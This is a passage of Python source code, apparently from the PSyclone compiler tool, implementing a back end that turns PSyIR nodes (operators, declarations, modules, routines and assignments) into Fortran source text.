dict with :py:class:`psyclone.psyir.nodes.Operation.Operator` \\\n keys and str values.\n\n '''\n mapping = {}\n for operator in op_map:\n mapping_key = op_map[operator]\n mapping_value = operator\n # Only choose the first mapping value when there is more\n # than one.\n if mapping_key not in mapping:\n mapping[mapping_key] = mapping_value\n return mapping\n\n\ndef get_fortran_operator(operator):\n '''Determine the Fortran operator that is equivalent to the provided\n PSyIR operator. This is achieved by reversing the Fparser2Reader\n maps that are used to convert from Fortran operator names to PSyIR\n operator names.\n\n :param operator: a PSyIR operator.\n :type operator: :py:class:`psyclone.psyir.nodes.Operation.Operator`\n\n :returns: the Fortran operator.\n :rtype: str\n\n :raises KeyError: if the supplied operator is not known.\n\n '''\n unary_mapping = _reverse_map(Fparser2Reader.unary_operators)\n if operator in unary_mapping:\n return unary_mapping[operator].upper()\n\n binary_mapping = _reverse_map(Fparser2Reader.binary_operators)\n if operator in binary_mapping:\n return binary_mapping[operator].upper()\n\n nary_mapping = _reverse_map(Fparser2Reader.nary_operators)\n if operator in nary_mapping:\n return nary_mapping[operator].upper()\n raise KeyError()\n\n\ndef is_fortran_intrinsic(fortran_operator):\n '''Determine whether the supplied Fortran operator is an intrinsic\n Fortran function or not.\n\n :param str fortran_operator: the supplied Fortran operator.\n\n :returns: true if the supplied Fortran operator is a Fortran \\\n intrinsic and false otherwise.\n\n '''\n return fortran_operator in FORTRAN_INTRINSICS\n\n\ndef precedence(fortran_operator):\n '''Determine the relative precedence of the supplied Fortran operator.\n Relative Operator precedence is taken from the Fortran 2008\n specification document and encoded as a list.\n\n :param str fortran_operator: the supplied Fortran operator.\n\n :returns: an integer indicating the relative precedence of the \\\n supplied Fortran operator. The higher the value, the higher \\\n the precedence.\n\n :raises KeyError: if the supplied operator is not in the \\\n precedence list.\n\n '''\n # The index of the fortran_precedence list indicates relative\n # precedence. Strings within sub-lists have the same precendence\n # apart from the following two caveats. 1) unary + and - have\n # a higher precedence than binary + and -, e.g. -(a-b) !=\n # -a-b and 2) floating point operations are not actually\n # associative due to rounding errors, e.g. potentially (a * b) / c\n # != a * (b / c). Therefore, if a particular ordering is specified\n # then it should be respected. These issues are dealt with in the\n # binaryoperation handler.\n fortran_precedence = [\n ['.EQV.', 'NEQV'],\n ['.OR.'],\n ['.AND.'],\n ['.NOT.'],\n ['.EQ.', '.NE.', '.LT.', '.LE.', '.GT.', '.GE.', '==', '/=', '<',\n '<=', '>', '>='],\n ['//'],\n ['+', '-'],\n ['*', '/'],\n ['**']]\n for oper_list in fortran_precedence:\n if fortran_operator in oper_list:\n return fortran_precedence.index(oper_list)\n raise KeyError()\n\n\ndef add_accessibility_to_unknown_declaration(symbol):\n '''\n Utility that manipulates the unknown Fortran declaration for the supplied\n Symbol so as to ensure that it has the correct accessibility specifier.\n (This is required because we capture an 'unknown' Fortran declaration as\n is and this may or may not include accessibility information.)\n\n :param symbol: the symbol for which the declaration is required.\n :type symbol: :py:class:`psyclone.psyir.symbols.Symbol`\n\n :returns: Fortran declaration of the supplied symbol with accessibility \\\n information included (public/private).\n :rtype: str\n\n :raises TypeError: if the supplied argument is not a Symbol of \\\n UnknownFortranType.\n :raises InternalError: if the declaration associated with the Symbol is \\\n empty.\n :raises NotImplementedError: if the original declaration does not use \\\n '::' to separate the entity name from its type.\n :raises InternalError: if the declaration stored for the supplied symbol \\\n contains accessibility information which does not match the \\\n visibility of the supplied symbol.\n\n '''\n if not isinstance(symbol, Symbol):\n raise TypeError(\"Expected a Symbol but got '{0}'\".format(\n type(symbol).__name__))\n\n if not isinstance(symbol.datatype, UnknownFortranType):\n raise TypeError(\"Expected a Symbol of UnknownFortranType but symbol \"\n \"'{0}' has type '{1}'\".format(symbol.name,\n symbol.datatype))\n\n if not symbol.datatype.declaration:\n raise InternalError(\n \"Symbol '{0}' is of UnknownFortranType but the associated \"\n \"declaration text is empty.\".format(symbol.name))\n\n # The original declaration text is obtained from fparser2 and will\n # already have had any line-continuation symbols removed.\n first_line = symbol.datatype.declaration.split(\"\\n\")[0]\n if \"::\" not in first_line:\n raise NotImplementedError(\n \"Cannot add accessibility information to an UnknownFortranType \"\n \"that does not have '::' in its original declaration: '{0}'\".\n format(symbol.datatype.declaration))\n\n parts = symbol.datatype.declaration.split(\"::\")\n first_part = parts[0].lower()\n if symbol.visibility == Symbol.Visibility.PUBLIC:\n if \"public\" not in first_part:\n if \"private\" in first_part:\n raise InternalError(\n \"Symbol '{0}' of UnknownFortranType has public visibility \"\n \"but its associated declaration specifies that it is \"\n \"private: '{1}'\".format(symbol.name,\n symbol.datatype.declaration))\n first_part = first_part.rstrip() + \", public \"\n else:\n if \"private\" not in first_part:\n if \"public\" in first_part:\n raise InternalError(\n \"Symbol '{0}' of UnknownFortranType has private \"\n \"visibility but its associated declaration specifies that \"\n \"it is public: '{1}'\".format(symbol.name,\n symbol.datatype.declaration))\n first_part = first_part.rstrip() + \", private \"\n return \"::\".join([first_part]+parts[1:])\n\n\nclass FortranWriter(LanguageWriter):\n # pylint: disable=too-many-public-methods\n '''Implements a PSyIR-to-Fortran back end for PSyIR kernel code (not\n currently PSyIR algorithm code which has its own gen method for\n generating Fortran).\n\n :param bool skip_nodes: If skip_nodes is False then an exception \\\n is raised if a visitor method for a PSyIR node has not been \\\n implemented, otherwise the visitor silently continues. This is an \\\n optional argument which defaults to False.\n :param str indent_string: Specifies what to use for indentation. This \\\n is an optional argument that defaults to two spaces.\n :param int initial_indent_depth: Specifies how much indentation to \\\n start with. This is an optional argument that defaults to 0.\n :param bool check_global_constraints: whether or not to validate all \\\n global constraints when walking the tree. Defaults to True.\n\n '''\n _COMMENT_PREFIX = \"! \"\n\n def __init__(self, skip_nodes=False, indent_string=\" \",\n initial_indent_depth=0, check_global_constraints=True):\n # Construct the base class using () as array parenthesis, and\n # % as structure access symbol\n super(FortranWriter, self).__init__((\"(\", \")\"), \"%\", skip_nodes,\n indent_string,\n initial_indent_depth,\n check_global_constraints)\n\n def gen_indices(self, indices, var_name=None):\n '''Given a list of PSyIR nodes representing the dimensions of an\n array, return a list of strings representing those array dimensions.\n This is used both for array references and array declarations. Note\n that 'indices' can also be a shape in case of Fortran.\n\n :param indices: list of PSyIR nodes.\n :type indices: list of :py:class:`psyclone.psyir.symbols.Node`\n :param str var_name: name of the variable for which the dimensions \\\n are created. Not used in the Fortran implementation.\n\n :returns: the Fortran representation of the dimensions.\n :rtype: list of str\n\n :raises NotImplementedError: if the format of the dimension is not \\\n supported.\n\n '''\n dims = []\n for index in indices:\n if isinstance(index, (DataNode, Range)):\n # literal constant, symbol reference, or computed\n # dimension\n expression = self._visit(index)\n dims.append(expression)\n elif isinstance(index, ArrayType.ArrayBounds):\n # Lower and upper bounds of an array declaration specified\n # by literal constant, symbol reference, or computed dimension\n lower_expression = self._visit(index.lower)\n upper_expression = self._visit(index.upper)\n if lower_expression == \"1\":\n # Lower bound of 1 is the default in Fortran\n dims.append(upper_expression)\n else:\n dims.append(lower_expression+\":\"+upper_expression)\n elif isinstance(index, ArrayType.Extent):\n # unknown extent\n dims.append(\":\")\n else:\n raise NotImplementedError(\n \"unsupported gen_indices index '{0}'\".format(str(index)))\n return dims\n\n def gen_use(self, symbol, symbol_table):\n ''' Performs consistency checks and then creates and returns the\n Fortran use statement(s) for this ContainerSymbol as required for\n the supplied symbol table. If this symbol has both a wildcard import\n and explicit imports then two use statements are generated. (This\n means that when generating Fortran from PSyIR created from Fortran\n code, we replicate the structure of the original.)\n\n :param symbol: the container symbol instance.\n :type symbol: :py:class:`psyclone.psyir.symbols.ContainerSymbol`\n :param symbol_table: the symbol table containing this container symbol.\n :type symbol_table: :py:class:`psyclone.psyir.symbols.SymbolTable`\n\n :returns: the Fortran use statement(s) as a string.\n :rtype: str\n\n :raises VisitorError: if the symbol argument is not a ContainerSymbol.\n :raises VisitorError: if the symbol_table argument is not a \\\n SymbolTable.\n :raises VisitorError: if the supplied symbol is not in the supplied \\\n SymbolTable.\n :raises VisitorError: if the supplied symbol has the same name as an \\\n entry in the SymbolTable but is a different object.\n '''\n if not isinstance(symbol, ContainerSymbol):\n raise VisitorError(\n \"gen_use() expects a ContainerSymbol as its first argument \"\n \"but got '{0}'\".format(type(symbol).__name__))\n if not isinstance(symbol_table, SymbolTable):\n raise VisitorError(\n \"gen_use() expects a SymbolTable as its second argument but \"\n \"got '{0}'\".format(type(symbol_table).__name__))\n if symbol.name not in symbol_table:\n raise VisitorError(\"gen_use() - the supplied symbol ('{0}') is not\"\n \" in the supplied SymbolTable.\".format(\n symbol.name))\n if symbol_table.lookup(symbol.name) is not symbol:\n raise VisitorError(\n \"gen_use() - the supplied symbol ('{0}') is not the same \"\n \"object as the entry with that name in the supplied \"\n \"SymbolTable.\".format(symbol.name))\n\n # Construct the list of symbol names for the ONLY clause\n only_list = [dsym.name for dsym in\n symbol_table.symbols_imported_from(symbol)]\n\n # Finally construct the use statements for this Container (module)\n if not only_list and not symbol.wildcard_import:\n # We have a \"use xxx, only:\" - i.e. an empty only list\n return \"{0}use {1}, only :\\n\".format(self._nindent, symbol.name)\n use_stmts = \"\"\n if only_list:\n use_stmts = \"{0}use {1}, only : {2}\\n\".format(\n self._nindent, symbol.name, \", \".join(sorted(only_list)))\n # It's possible to have both explicit and wildcard imports from the\n # same Fortran module.\n if symbol.wildcard_import:\n use_stmts += \"{0}use {1}\\n\".format(self._nindent, symbol.name)\n return use_stmts\n\n def gen_vardecl(self, symbol, include_visibility=False):\n '''Create and return the Fortran variable declaration for this Symbol\n or derived-type member.\n\n :param symbol: the symbol or member instance.\n :type symbol: :py:class:`psyclone.psyir.symbols.DataSymbol` or \\\n :py:class:`psyclone.psyir.nodes.MemberReference`\n :param bool include_visibility: whether to include the visibility of \\\n the symbol in the generated declaration (default False).\n\n :returns: the Fortran variable declaration as a string.\n :rtype: str\n\n :raises VisitorError: if the symbol is of UnknownFortranType and \\\n is not local.\n :raises VisitorError: if the symbol is of known type but does not \\\n specify a variable declaration (it is not a local declaration or \\\n an argument declaration).\n :raises VisitorError: if the symbol or member is an array with a \\\n shape containing a mixture of DEFERRED and other extents.\n :raises InternalError: if visibility is to be included but is not \\\n either PUBLIC or PRIVATE.\n\n '''\n # pylint: disable=too-many-branches\n # Whether we're dealing with a Symbol or a member of a derived type\n is_symbol = isinstance(symbol, (DataSymbol, RoutineSymbol))\n # Whether we're dealing with an array declaration and, if so, the\n # shape of that array.\n if isinstance(symbol.datatype, ArrayType):\n array_shape = symbol.datatype.shape\n else:\n array_shape = []\n\n if is_symbol:\n if isinstance(symbol.datatype, UnknownFortranType):\n if isinstance(symbol, RoutineSymbol) and not symbol.is_local:\n raise VisitorError(\n \"{0} '{1}' is of UnknownFortranType but has\"\n \" interface '{2}' instead of LocalInterface. This is \"\n \"not supported by the Fortran back-end.\".format(\n type(symbol).__name__,\n symbol.name, symbol.interface))\n elif not (symbol.is_local or symbol.is_argument):\n raise VisitorError(\n \"gen_vardecl requires the symbol '{0}' to have a Local or \"\n \"an Argument interface but found a '{1}' interface.\"\n \"\".format(symbol.name, type(symbol.interface).__name__))\n\n if isinstance(symbol.datatype, UnknownType):\n if isinstance(symbol.datatype, UnknownFortranType):\n if include_visibility and not isinstance(symbol,\n RoutineSymbol):\n decln = add_accessibility_to_unknown_declaration(symbol)\n else:\n decln = symbol.datatype.declaration\n return \"{0}{1}\\n\".format(self._nindent, decln)\n # The Fortran backend only handles unknown *Fortran* declarations.\n raise VisitorError(\n \"{0} '{1}' is of '{2}' type. This is not supported by the \"\n \"Fortran backend.\".format(type(symbol).__name__, symbol.name,\n type(symbol.datatype).__name__))\n\n datatype = gen_datatype(symbol.datatype, symbol.name)\n result = \"{0}{1}\".format(self._nindent, datatype)\n\n if ArrayType.Extent.DEFERRED in array_shape:\n if not all(dim == ArrayType.Extent.DEFERRED\n for dim in array_shape):\n raise VisitorError(\n \"A Fortran declaration of an allocatable array must have\"\n \" the extent of every dimension as 'DEFERRED' but \"\n \"symbol '{0}' has shape: {1}.\".format(\n symbol.name, self.gen_indices(array_shape)))\n # A 'deferred' array extent means this is an allocatable array\n result += \", allocatable\"\n if ArrayType.Extent.ATTRIBUTE in array_shape:\n if not all(dim == ArrayType.Extent.ATTRIBUTE\n for dim in symbol.datatype.shape):\n # If we have an 'assumed-size' array then only the last\n # dimension is permitted to have an 'ATTRIBUTE' extent\n if (array_shape.count(ArrayType.Extent.ATTRIBUTE) != 1 or\n array_shape[-1] != ArrayType.Extent.ATTRIBUTE):\n raise VisitorError(\n \"An assumed-size Fortran array must only have its \"\n \"last dimension unspecified (as 'ATTRIBUTE') but \"\n \"symbol '{0}' has shape: {1}.\"\n \"\".format(symbol.name, self.gen_indices(array_shape)))\n if array_shape:\n dims = self.gen_indices(array_shape)\n result += \", dimension({0})\".format(\",\".join(dims))\n if is_symbol:\n # A member of a derived type cannot have the 'intent' or\n # 'parameter' attribute.\n intent = gen_intent(symbol)\n if intent:\n result += \", intent({0})\".format(intent)\n if symbol.is_constant:\n result += \", parameter\"\n\n if include_visibility:\n if symbol.visibility == Symbol.Visibility.PRIVATE:\n result += \", private\"\n elif symbol.visibility == Symbol.Visibility.PUBLIC:\n result += \", public\"\n else:\n raise InternalError(\n \"A Symbol must be either public or private but symbol \"\n \"'{0}' has visibility '{1}'\".format(symbol.name,\n symbol.visibility))\n\n result += \" :: {0}\".format(symbol.name)\n if is_symbol and symbol.is_constant:\n result += \" = {0}\".format(self._visit(symbol.constant_value))\n result += \"\\n\"\n return result\n\n def gen_typedecl(self, symbol, include_visibility=True):\n '''\n Creates a derived-type declaration for the supplied DataTypeSymbol.\n\n :param symbol: the derived-type to declare.\n :type symbol: :py:class:`psyclone.psyir.symbols.DataTypeSymbol`\n :param bool include_visibility: whether or not to include visibility \\\n information in the declaration. (Default is True.)\n\n :returns: the Fortran declaration of the derived type.\n :rtype: str\n\n :raises VisitorError: if the supplied symbol is not a DataTypeSymbol.\n :raises VisitorError: if the datatype of the symbol is of UnknownType \\\n but is not of UnknownFortranType.\n :raises InternalError: if include_visibility is True and the \\\n visibility of the symbol is not of the correct type.\n\n '''\n if not isinstance(symbol, DataTypeSymbol):\n raise VisitorError(\n \"gen_typedecl expects a DataTypeSymbol as argument but \"\n \"got: '{0}'\".format(type(symbol).__name__))\n\n if isinstance(symbol.datatype, UnknownType):\n if isinstance(symbol.datatype, UnknownFortranType):\n # This is a declaration of unknown type. We have to ensure\n # that its visibility is correctly specified though.\n if include_visibility:\n decln = add_accessibility_to_unknown_declaration(symbol)\n else:\n decln = symbol.datatype.declaration\n return \"{0}{1}\\n\".format(self._nindent, decln)\n\n raise VisitorError(\n \"Fortran backend cannot generate code for symbol '{0}' of \"\n \"type '{1}'\".format(symbol.name,\n type(symbol.datatype).__name__))\n\n result = \"{0}type\".format(self._nindent)\n\n if include_visibility:\n if symbol.visibility == Symbol.Visibility.PRIVATE:\n result += \", private\"\n elif symbol.visibility == Symbol.Visibility.PUBLIC:\n result += \", public\"\n else:\n raise InternalError(\n \"A Symbol's visibility must be one of Symbol.Visibility.\"\n \"PRIVATE/PUBLIC but '{0}' has visibility of type '{1}'\".\n format(symbol.name, type(symbol.visibility).__name__))\n result += \" :: {0}\\n\".format(symbol.name)\n\n self._depth += 1\n for member in symbol.datatype.components.values():\n # We always want to specify the visibility of components within\n # a derived type.\n result += self.gen_vardecl(member, include_visibility=True)\n self._depth -= 1\n\n result += \"{0}end type {1}\\n\".format(self._nindent, symbol.name)\n return result\n\n def gen_access_stmt(self, symbol_table):\n '''\n Generates the access statement for a module - either \"private\" or\n \"public\". Although the PSyIR captures the visibility of every Symbol\n explicitly, this information is required in order\n to ensure the correct visibility of symbols that have been imported\n into the current module from another one using a wildcard import\n (i.e. a `use` without an `only` clause) and also for those Symbols\n that are of UnknownFortranType (because their declaration may or may\n not include visibility information).\n\n :returns: text containing the access statement line.\n :rtype: str\n\n :raises InternalError: if the symbol table has an invalid default \\\n visibility.\n '''\n # If no default visibility has been set then we use the Fortran\n # default of public.\n if symbol_table.default_visibility in [None, Symbol.Visibility.PUBLIC]:\n return self._nindent + \"public\\n\"\n if symbol_table.default_visibility == Symbol.Visibility.PRIVATE:\n return self._nindent + \"private\\n\"\n\n raise InternalError(\n \"Unrecognised visibility ('{0}') found when attempting to generate\"\n \" access statement. Should be either 'Symbol.Visibility.PUBLIC' \"\n \"or 'Symbol.Visibility.PRIVATE'\\n\".format(\n str(symbol_table.default_visibility)))\n\n def gen_routine_access_stmts(self, symbol_table):\n '''\n Creates the accessibility statements (R518) for any routine symbols\n in the supplied symbol table.\n\n :param symbol_table: the symbol table for which to generate \\\n accessibility statements.\n :type symbol_table: :py:class:`psyclone.psyir.symbols.SymbolTable`\n\n :returns: the accessibility statements for any routine symbols.\n :rtype: str\n\n :raises InternalError: if a Routine symbol with an unrecognised \\\n visibility is encountered.\n '''\n\n # Find the symbol that represents itself, this one will not need\n # an accessibility statement\n try:\n itself = symbol_table.lookup_with_tag('own_routine_symbol')\n except KeyError:\n itself = None\n\n public_routines = []\n private_routines = []\n for symbol in symbol_table.symbols:\n if isinstance(symbol, RoutineSymbol):\n\n # Skip the symbol representing the routine where these\n # declarations belong\n if symbol is itself:\n continue\n\n # It doesn't matter whether this symbol has a local or global\n # interface - its accessibility in *this* context is determined\n # by the local accessibility statements. e.g. if we are\n # dealing with the declarations in a given module which itself\n # uses a public symbol from some other module, the\n # accessibility of that symbol is determined by the\n # accessibility statements in the current module.\n if symbol.visibility == Symbol.Visibility.PUBLIC:\n public_routines.append(symbol.name)\n elif symbol.visibility == Symbol.Visibility.PRIVATE:\n private_routines.append(symbol.name)\n else:\n raise InternalError(\n \"Unrecognised visibility ('{0}') found for symbol \"\n \"'{1}'. Should be either 'Symbol.Visibility.PUBLIC' \"\n \"or 'Symbol.Visibility.PRIVATE'.\".format(\n str(symbol.visibility), symbol.name))\n result = \"\\n\"\n if public_routines:\n result += \"{0}public :: {1}\\n\".format(self._nindent,\n \", \".join(public_routines))\n if private_routines:\n result += \"{0}private :: {1}\\n\".format(self._nindent,\n \", \".join(private_routines))\n if len(result) > 1:\n return result\n return \"\"\n\n def gen_decls(self, symbol_table, is_module_scope=False):\n '''Create and return the Fortran declarations for the supplied\n SymbolTable.\n\n :param symbol_table: the SymbolTable instance.\n :type symbol: :py:class:`psyclone.psyir.symbols.SymbolTable`\n :param bool is_module_scope: whether or not the declarations are in \\\n a module scoping unit. Default is False.\n\n :returns: the Fortran declarations as a string.\n :rtype: str\n\n :raises VisitorError: if one of the symbols is a RoutineSymbol \\\n which does not have an ImportInterface or LocalInterface (and is \\\n not a Fortran intrinsic) as this is not supported by this backend.\n :raises VisitorError: if args_allowed is False and one or more \\\n argument declarations exist in symbol_table.\n :raises VisitorError: if there are any symbols in the supplied table \\\n that do not have an explicit declaration and there are no \\\n wildcard imports.\n\n '''\n # pylint: disable=too-many-branches\n declarations = \"\"\n # Keep a record of whether we've already checked for any wildcard\n # imports to save doing so repeatedly\n wildcard_imports_checked = False\n has_wildcard_import = False\n\n routine_symbols = [symbol for symbol in symbol_table.symbols\n if isinstance(symbol, RoutineSymbol)]\n for sym in routine_symbols:\n if (isinstance(sym.interface, UnresolvedInterface) and\n sym.name.upper() not in FORTRAN_INTRINSICS):\n if not wildcard_imports_checked:\n has_wildcard_import = symbol_table.has_wildcard_imports()\n wildcard_imports_checked = True\n if not has_wildcard_import:\n raise VisitorError(\n \"Routine symbol '{0}' does not have an ImportInterface\"\n \" or LocalInterface, is not a Fortran intrinsic and \"\n \"there is no wildcard import which could bring it into\"\n \" scope. This is not supported by the Fortran \"\n \"back-end.\".format(sym.name))\n if isinstance(sym.interface, ArgumentInterface):\n raise VisitorError(\n \"Routine symbol '{0}' is passed as an argument (has an \"\n \"ArgumentInterface). This is not supported by the Fortran\"\n \" back-end.\".format(sym.name))\n # Interfaces to module procedures are captured by the frontend as\n # RoutineSymbols of UnknownFortranType. These must therefore be\n # declared.\n if isinstance(sym.datatype, UnknownType):\n declarations += self.gen_vardecl(\n sym, include_visibility=is_module_scope)\n\n # Does the symbol table contain any symbols with a deferred\n # interface (i.e. we don't know how they are brought into scope)\n unresolved_datasymbols = symbol_table.get_unresolved_datasymbols()\n\n if unresolved_datasymbols:\n # We do have unresolved symbols. Is there at least one wildcard\n # import which could be bringing them into scope?\n if not wildcard_imports_checked:\n has_wildcard_import = symbol_table.has_wildcard_imports()\n wildcard_imports_checked = True\n if not has_wildcard_import:\n symbols_txt = \", \".join(\n [\"'\" + sym + \"'\" for sym in unresolved_datasymbols])\n raise VisitorError(\n \"The following symbols are not explicitly declared or \"\n \"imported from a module and there are no wildcard imports \"\n \"which could be bringing them into scope: {0}\".format(\n symbols_txt))\n\n # Fortran requires use statements to be specified before\n # variable declarations. As a convention, this method also\n # declares any argument variables before local variables.\n\n # 1: Argument variable declarations\n if symbol_table.argument_datasymbols and is_module_scope:\n raise VisitorError(\n \"Arguments are not allowed in this context but this symbol \"\n \"table contains argument(s): '{0}'.\"\n \"\".format([symbol.name for symbol in\n symbol_table.argument_datasymbols]))\n for symbol in symbol_table.argument_datasymbols:\n declarations += self.gen_vardecl(\n symbol, include_visibility=is_module_scope)\n\n # 2: Local constants.\n local_constants = [sym for sym in symbol_table.local_datasymbols if\n sym.is_constant]\n for symbol in local_constants:\n declarations += self.gen_vardecl(\n symbol, include_visibility=is_module_scope)\n\n # 3: Derived-type declarations. These must come before any declarations\n # of symbols of these types.\n for symbol in symbol_table.local_datatypesymbols:\n declarations += self.gen_typedecl(\n symbol, include_visibility=is_module_scope)\n\n # 4: Local variable declarations.\n local_vars = [sym for sym in symbol_table.local_datasymbols if not\n sym.is_constant]\n for symbol in local_vars:\n declarations += self.gen_vardecl(\n symbol, include_visibility=is_module_scope)\n\n return declarations\n\n def filecontainer_node(self, node):\n '''This method is called when a FileContainer instance is found in\n the PSyIR tree.\n\n A file container node requires no explicit text in the Fortran\n back end.\n\n :param node: a Container PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.FileContainer`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n :raises VisitorError: if the attached symbol table contains \\\n any data symbols.\n :raises VisitorError: if more than one child is a Routine Node \\\n with is_program set to True.\n\n '''\n if node.symbol_table.symbols:\n raise VisitorError(\n \"In the Fortran backend, a file container should not have \"\n \"any symbols associated with it, but found {0}.\"\n \"\".format(len(node.symbol_table.symbols)))\n\n program_nodes = len([child for child in node.children if\n isinstance(child, Routine) and child.is_program])\n if program_nodes > 1:\n raise VisitorError(\n \"In the Fortran backend, a file container should contain at \"\n \"most one routine node that is a program, but found {0}.\"\n \"\".format(program_nodes))\n\n result = \"\"\n for child in node.children:\n result += self._visit(child)\n return result\n\n def container_node(self, node):\n '''This method is called when a Container instance is found in\n the PSyIR tree.\n\n A container node is mapped to a module in the Fortran back end.\n\n :param node: a Container PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.Container`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n :raises VisitorError: if the name attribute of the supplied \\\n node is empty or None.\n :raises VisitorError: if any of the children of the supplied \\\n Container node are not Routines or CodeBlocks.\n\n '''\n if not node.name:\n raise VisitorError(\"Expected Container node name to have a value.\")\n\n # All children must be either Routines or CodeBlocks as modules within\n # modules are not supported.\n if not all(isinstance(child, (Routine, CodeBlock)) for\n child in node.children):\n raise VisitorError(\n \"The Fortran back-end requires all children of a Container \"\n \"to be either CodeBlocks or sub-classes of Routine but found: \"\n \"{0}.\".format(\n [type(child).__name__ for child in node.children]))\n\n result = \"{0}module {1}\\n\".format(self._nindent, node.name)\n\n self._depth += 1\n\n # Generate module imports\n imports = \"\"\n for symbol in node.symbol_table.containersymbols:\n imports += self.gen_use(symbol, node.symbol_table)\n\n # Declare the Container's data\n declarations = self.gen_decls(node.symbol_table, is_module_scope=True)\n\n # Generate the access statement (PRIVATE or PUBLIC)\n declarations += self.gen_access_stmt(node.symbol_table)\n\n # Accessibility statements for routine symbols\n declarations += self.gen_routine_access_stmts(node.symbol_table)\n\n # Get the subroutine statements.\n subroutines = \"\"\n for child in node.children:\n subroutines += self._visit(child)\n\n result += (\n \"{1}\"\n \"{0}implicit none\\n\"\n \"{2}\\n\"\n \"{0}contains\\n\"\n \"{3}\\n\"\n \"\".format(self._nindent, imports, declarations, subroutines))\n\n self._depth -= 1\n result += \"{0}end module {1}\\n\".format(self._nindent, node.name)\n return result\n\n def routine_node(self, node):\n '''This method is called when a Routine node is found in\n the PSyIR tree.\n\n :param node: a Routine PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.Routine`\n\n :returns: the Fortran code for this node.\n :rtype: str\n\n :raises VisitorError: if the name attribute of the supplied \\\n node is empty or None.\n\n '''\n if not node.name:\n raise VisitorError(\"Expected node name to have a value.\")\n\n if node.is_program:\n result = (\"{0}program {1}\\n\".format(self._nindent, node.name))\n routine_type = \"program\"\n else:\n args = [symbol.name for symbol in node.symbol_table.argument_list]\n suffix = \"\"\n if node.return_symbol:\n # This Routine has a return value and is therefore a Function\n routine_type = \"function\"\n if node.return_symbol.name.lower() != node.name.lower():\n suffix = \" result({0})\".format(node.return_symbol.name)\n else:\n routine_type = \"subroutine\"\n result = \"{0}{1} {2}({3}){4}\\n\".format(self._nindent, routine_type,\n node.name, \", \".join(args),\n suffix)\n\n self._depth += 1\n\n # The PSyIR has nested scopes but Fortran only supports declaring\n # variables at the routine level scope. For this reason, at this\n # point we have to unify all declarations and resolve possible name\n # clashes that appear when merging the scopes.\n whole_routine_scope = SymbolTable(node)\n\n for schedule in node.walk(Schedule):\n for symbol in schedule.symbol_table.symbols[:]:\n try:\n whole_routine_scope.add(symbol)\n except KeyError:\n new_name = whole_routine_scope.next_available_name(\n symbol.name)\n while True:\n # Ensure that the new name isn't already in the current\n # symbol table.\n local_name = schedule.symbol_table.next_available_name(\n new_name)\n if local_name == new_name:\n # new_name is availble in the current symbol table\n # so we're done.\n break\n # new_name clashed with an entry in the current symbol\n # table so try again.\n new_name = whole_routine_scope.next_available_name(\n local_name)\n schedule.symbol_table.rename_symbol(symbol, new_name)\n whole_routine_scope.add(symbol)\n\n # Generate module imports\n imports = \"\"\n for symbol in whole_routine_scope.containersymbols:\n imports += self.gen_use(symbol, whole_routine_scope)\n\n # Generate declaration statements\n declarations = self.gen_decls(whole_routine_scope)\n\n # Get the executable statements.\n exec_statements = \"\"\n for child in node.children:\n exec_statements += self._visit(child)\n result += (\n \"{0}\"\n \"{1}\\n\"\n \"{2}\\n\"\n \"\".format(imports, declarations, exec_statements))\n\n self._depth -= 1\n result += (\n \"{0}end {1} {2}\\n\"\n \"\".format(self._nindent, routine_type, node.name))\n\n return result\n\n def assignment_node(self, node):\n '''This method is called when an Assignment instance is found in the\n PSyIR tree.\n\n :param node: an Assignment PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.Assignment``\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n '''\n lhs = self._visit(node.lhs)\n rhs = self._visit(node.rhs)\n result = \"{0}{1} = {2}\\n\".format(self._nindent, lhs, rhs)\n return result\n\n def binaryoperation_node(self, node):\n '''This method is called when a BinaryOperation instance is found in\n the PSyIR tree.\n\n :param node: a BinaryOperation PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.BinaryOperation`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n '''\n lhs = self._visit(node.children[0])\n rhs = self._visit(node.children[1])\n try:\n fort_oper = get_fortran_operator(node.operator)\n if is_fortran_intrinsic(fort_oper):\n # This is a binary intrinsic function.\n return \"{0}({1}, {2})\".format(fort_oper, lhs, rhs)\n parent = node.parent\n if isinstance(parent, Operation):\n # We may need to enforce precedence\n parent_fort_oper = get_fortran_operator(parent.operator)\n if not is_fortran_intrinsic(parent_fort_oper):\n # We still may need to enforce precedence\n if precedence(fort_oper) < precedence(parent_fort_oper):\n # We need brackets to enforce precedence\n return \"({0} {1} {2})\".format(lhs, fort_oper, rhs)\n if precedence(fort_oper) == precedence(parent_fort_oper):\n # We still may need to enforce precedence\n if (isinstance(parent, UnaryOperation) or\n (isinstance(parent, BinaryOperation) and\n parent.children[1] == node)):\n # We need brackets to enforce precedence\n # as a) a unary operator is performed\n # before a binary operator and b) floating\n # point operations are not actually\n # associative due to rounding errors.\n return \"({0} {1} {2})\".format(lhs, fort_oper, rhs)\n return \"{0} {1} {2}\".format(lhs, fort_oper, rhs)\n except KeyError as error:\n raise six.raise_from(VisitorError(\"Unexpected binary op '{0}'.\"\n \"\".format(node.operator)),\n error)\n\n def naryoperation_node(self, node):\n '''This method is called when an NaryOperation instance is found in\n the PSyIR tree.\n\n :param node: an NaryOperation PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.NaryOperation`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n :raises VisitorError: if an unexpected N-ary operator is found.\n\n '''\n arg_list = []\n for child in node.children:\n arg_list.append(self._visit(child))\n try:\n fort_oper = get_fortran_operator(node.operator)\n return \"{0}({1})\".format(fort_oper, \", \".join(arg_list))\n except KeyError as error:\n raise six.raise_from(VisitorError(\"Unexpected N-ary op '{0}'\".\n format(node.operator)),\n error)\n\n def range_node(self, node):\n '''This method is called when a Range instance is found in the PSyIR\n tree.\n\n :param node: a Range PSyIR node.\n :type node: :py:class:`psyclone.psyir.nodes.Range`\n\n :returns: the Fortran code as a string.\n :rtype: str\n\n '''\n if node.parent and node.parent.is_lower_bound(\n node.parent.indices.index(node)):\n # The range starts for the first element in this\n # dimension. This is the default in Fortran so no need to\n # output anything.\n start = \"\"\n else:\n start = self._visit(node.start)\n\n if node.parent and node.parent.is_upper_bound(\n node.parent.indices.index(node)):\n # The range ends with the last element in this\n # dimension. This is the default in Fortran so no need to\n # 